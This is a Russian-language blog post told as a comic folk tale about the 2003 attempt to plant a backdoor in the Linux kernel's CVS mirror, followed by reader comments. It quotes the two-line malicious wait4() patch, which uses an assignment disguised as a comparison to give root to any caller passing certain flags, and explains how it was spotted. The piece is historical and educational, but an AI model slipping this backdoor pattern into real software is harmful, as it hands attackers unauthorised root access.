Сказки дiда Панаса. Сказ о том, как злыдни дверь заднюю в ядра пингвинячьи прорубали

Давно это было, сы́нки: в те времена, когда все знали, кто нужду свою справить в сеть всемирную, ынторнетом кличущуюся, вышел, по звукам характерным; Трамп, который Дональд, ещё не в кабинете овальном сиживал, а роли второго плана в комедиях играл; а пынгвин юный, Линуксом званый, от горшка был всего-то 2.4 ver-шка.


И хранились ядра драгоценные того пынгвина в сундуке заветном, BitKeeper-ом кличущемся, коий тогда свои златые годы переживал, замещая постепенно другой сундук, CVS прозванный, каковой хоть и ветшать начинал, но ещё был ого-го, и были у него ещё свои любители.


И для таких вот любителей олдскульных делал пынгвин копию своих ядер в CVS — чтобы, значца, и тому дать, и ентому. А дабы не возникало бардака какого, строго-настрого наказано было служителям пынгвинячьим следить за BitKeeper-ом, и коли в нём что новое появлялось — сразу же копию делать да в CVS складывать, да помечать соответственно.


И вот смотрит в один прекрасный ноябрьский денёк гордый птиц пынгвин в сундук свой старый, CVS кличущийся, и ластой голову скребёт, ибо видит он в ядре своём изменение — а как оно в сундуке том оказалось — в упор не видит. И хоть был он птицом гордым, а не медведом плюшевым, но тем не менее понял он сразу, что ж-ж-ж это — неспроста!


Достал пынгвин из сундука того ядро своё — и давай разлядывать, да с копией из BitKeeper-а сличать. И вот что он углядел в коде функции wait4():


+       if ((options == (__WCLONE|__WALL)) && (current->uid = 0))
+                       retval = -EINVAL;

Первый раз посмотрел на это дело пынгвин, да плечами пожал. Второй раз посмотрел на это дело пынгвин, да хмыкнул. Третий раз посмотрел на это дело пынгвин — и перья у него от ужаса зашевелились. Везде.


Вот и вы ничего необычного не видите, малятки? Обычная ж проверка флагов, при условии, что код ядрёный от суперпользователя исполняется, да? Вот и пынгвин сначала так же думал. А потом дошло до него, аки до Шахерезады, что не сравнение это current->uid с нумером пользователя круглым аки баранка, а установка в этот самый нумер. И потому любому пользователю, вызвавшему wait4() с этими двумя флагами — была бы эта баранка в личное пользование с глубоким поклоном поднесена!


Вот так-то оно и выходило по всему, что подобрал злыдень некий ключ к сундуку старому, CVS зовущемуся, да подкинул туда изменение злонамеренное. И только внимательность пингвинячья не позволила злыдню прорубить дверь заднюю в ядра его драгоценные.


И я там был, и сказания пингвинячьи в USENET читал. И вообще, сказка — ложь, да в ней намёк, добру молодцу про опасность попутать операторы сравнения и присваивания урок, не любо — не слушай, а прошлое поминать не мешай!

@Wesha
18.11.2024 13:20 UTC
Первоисточник

Комментарии

@Jijiki
18.11.2024 08:43 UTC
0

потом поменяли в current->uid == 0 ? интересно

@Wesha
18.11.2024 08:46 UTC
+3

Этот патч был добавлен злоумышленниками и ничего полезного не делал в принципе — он просто должен был казаться полезным. Но это был бекдор, и его просто выкинули.

18.11.2024 09:28 UTC
0

Как долго этот "патч" там просидел?

18.11.2024 09:37 UTC
0

В принципе, сколько бы он там ни провисел, это было не так уж страшно. Репозиторий CVS был зеркалом, которым пользовались немногие. Основным репозиторием был BitKeeper, а туда бэкдор протолкнуть не смогли.

Собственно, поэтому бэкдор и был обнаружен: в CVS не должно было существовать изменений, которых не было в BitKeeper, потому что все изменения сначала вносились в репозиторий BitKeeper, а потом сгружались в CVS.

@dartraiden
18.11.2024 09:24 UTC
+4

Для тех, кому интересен подробный разбор кода: https://lwn.net/Articles/57552/

@mvv-rus
18.11.2024 21:50 UTC
0

Вот и вы ничего необычного не видите, малятки?

Первое, что мне бросилось в глаза: что ноль в сравнении с констатной стоит не слева, а справа, вопреки наилучшим практикам (выстраданным в т.ч. и лично мной) - а так ведь и накосячить недолго. Потом уже присмотрелся - таки да, накосячено.